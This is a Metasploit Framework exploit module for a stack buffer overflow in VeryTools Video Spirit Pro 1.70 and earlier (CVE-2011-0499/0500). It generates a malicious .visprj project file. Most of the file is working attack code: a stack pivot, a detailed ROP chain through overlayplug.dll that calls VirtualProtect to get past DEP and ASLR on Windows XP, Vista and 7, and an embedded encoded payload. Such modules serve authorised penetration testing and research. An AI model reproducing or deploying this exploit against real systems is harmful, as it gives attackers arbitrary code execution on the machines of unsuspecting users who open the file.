##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'VeryTools Video Spirit Pro <= 1.70',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Video Spirit <= 1.70.
				When opening a malicious project file (.visprj), a stack buffer overflow occurs,
				resulting in arbitrary code execution.
				This exploit bypasses DEP & ASLR, and works on XP, Vista & Windows 7.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Acidgen',      #found the vulnerability
					'corelanc0d3r <peter.ve[at]corelan.be>', #rop exploit + msf module
				],
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2011-0499'],
					[ 'CVE', '2011-0500'],
					[ 'OSVDB', '70619'],
					[ 'URL', 'http://www.corelan.be/advisories.php?id=CORELAN-11-001' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'        => 800,  #0x320 bytes - avoid marking wrong page as RWX
					'BadChars'     => "\x00\x0a\x0b\x0c\x0d\x0e\x0f\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22\x26\x27\x2f\x3c\x3e",
					'DisableNops'  => 'True',
				},
			'Platform' => 'win',
			'Targets'  =>
				[
					[ 'Windows XP/Vista/Win7/... Generic DEP & ASLR Bypass',
						{
							'OffSet'      => 168,
							'OffSetToRop' => 952,
							'Ret'         => 0x1006CC10, #overlayplug.dll stackpivot bad char friendly
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Apr 11 2011',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'VideoSpirit project name.',  'msf.visprj']),
			], self.class)
	end

	def junk
		return rand_text_alphanumeric(4).unpack("L")[0].to_i
	end

	def exploit

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		header = %Q|
<version value="1" />
<track>
<type value="0" />
<type value="4" />
<type value="2" />
<type value="1" />
<type value="7" />
</track>
<track0 />
<track1 />
<track2 />
<track3 />
<track4 />
<clip />
<output typename="AVI" keepaspect="0" presetquality="0">
<type0 enable="1">
|

		footer = %Q|
<valitem name="320*240(4:3)" value="320*240" />
<valitem name="30" value="30" />
<valitem name="16000k" value="16000k" />
</type0>
<type1 enable="1">
<valitem name="mp3" value="libmp3lame" />
<valitem name="128k" value="128k" />
<valitem name="44100" value="44100" />
<valitem name="2 (Stereo)" value="2" />
</type1>
<type2 enable="0" />
</output>
|
		print_status("Preparing payload")

		pivot = [target.ret].pack('V')

		rop_gadgets =
		[
			# one non-ASLR module is enough for generic ASLR & DEP bypass !
			# pvefindaddr rop 'n roll
			# First, grab VirtualProtect ptr
			0x10065292,  # POP EAX # RETN      [OverlayPlug.dll]
			0x106F4244,  # IAT entry + offsqet (bad char friendly)
			0x10019762,  # POP EBP # RETN      [OverlayPlug.dll]
			0xEFEFEFF0,  # bye bye offset
			0x10084977,  # ADD EBP,EAX # RETN  [OverlayPlug.dll]
			0x100684B8,  # MOV EAX,EBP # POP ESI # POP EBP # POP EBX # RETN  [OverlayPlug.dll]
			junk,
			junk,
			junk,
			0x1005E114,  # MOV EAX,DWORD PTR DS:[EAX] # RETN  [OverlayPlug.dll]
			0x10016A56,  # XCHG EAX,ESI         [OverlayPlug.dll]

			# set size
			0x100A9274,  # POP EAX # RETN       [OverlayPlug.dll]
			0x10101330,  # 0x320 bytes - change this if needed, but don't make it too big :)
			0x10019762,  # POP EBP # RETN       [OverlayPlug.dll]
			0xEFEFEFF0,  # boo
			0x10084977,  # ADD EBP,EAX # RETN   [OverlayPlug.dll]
			0x10053E4C,  # XCHG EAX,EBP # RETN  [OverlayPlug.dll]
			0x10066D8C,  # PUSH EAX # ADD AL,5D # POP EBX # MOV DWORD PTR FS:[0],ECX # ADD ESP,50 # RETN 10  [OverlayPlug.dll]
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,

			# set NewProtect to 0x40
			0x100E3D4A,  # XOR EAX,EAX # XOR EDX,EDX # RETN  [OverlayPlug.dll]
			junk,
			junk,
			junk,
			junk,
			0x10010C36,  # ADD EAX,10 # POP EBP # RETN 4  [OverlayPlug.dll]
			junk,
			0x10010C36,  # ADD EAX,10 # POP EBP # RETN 4  [OverlayPlug.dll]
			junk,
			junk,
			0x10010C36,  # ADD EAX,10 # POP EBP # RETN 4  [OverlayPlug.dll]
			junk,
			junk,
			0x10010C36,  # ADD EAX,10 # POP EBP # RETN 4  [OverlayPlug.dll]
			junk,
			junk,
			0x10030C8B,  # ADD DL,AL # ADD AL,0 # MOV EAX,EDX # RETN 4  [OverlayPlug.dll]
			junk,

			# write pOldProtect to .data section
			0x1001AB51,  # POP ECX # RETN  [OverlayPlug.dll]
			junk,
			0x10117030,  # RW

			# EDI : ROP NOP
			0x10057090,  # POP EDI # RETN  [OverlayPlug.dll]
			0x10057091,  # ROP NOP

			# pReturn2Payload
			0x100BC8E8,  # PUSH ESP # MOV EAX,ESI # POP ESI # RETN  [OverlayPlug.dll]
			0x10016A56,  # XCHG EAX,ESI # RETN  [OverlayPlug.dll]
			0x1003C946,  # ADD EAX,0A # RETN    [OverlayPlug.dll]
			0x1003C946,
			0x1003C946,
			0x1003C946,
			0x1003C946,
			0x1003C946,
			0x1003C946,
			0x1003C946,
			0x1003C946,
			0x1003C946,
			0x1003C946,
			0x1003C946,
			0x1003C946,
			0x1003C946,
			0x1003C946,
			0x1003C946,
			0x1003C946,
			0x1003C946,
			0x1003C946,
			0x1003C946,
			0x1001FDBD,  # XCHG EAX,EBP # RETN  [OverlayPlug.dll]

			0x100A9274,  # POP EAX # RETN       [OverlayPlug.dll]
			0x41414141,

			# go
			0x10066F84,  # PUSHAD # RETN        [OverlayPlug.dll]
		].pack("V*")


		buffer = "<valitem name="
		buffer << '"'
		buffer << rand_text_alphanumeric((target['OffSet']))
		buffer << rand_text_alphanumeric(4) #nseh
		buffer << pivot
		buffer << rand_text_alphanumeric((target['OffSetToRop']))
		buffer << "\x91\x70\x05\x10" * 10   #rop nop, offset Win7
		buffer << rop_gadgets
		buffer << make_nops(150)
		buffer << payload.encoded
		buffer << rand_text_alphanumeric(4000)
		buffer << '"'
		buffer << ' value="msmpeg4v2"'
		buffer << "/>"
		buffer << "\n"

		filecontent = header + buffer + footer

		print_status("Writing payload to file")

		file_create(filecontent)

	end

end
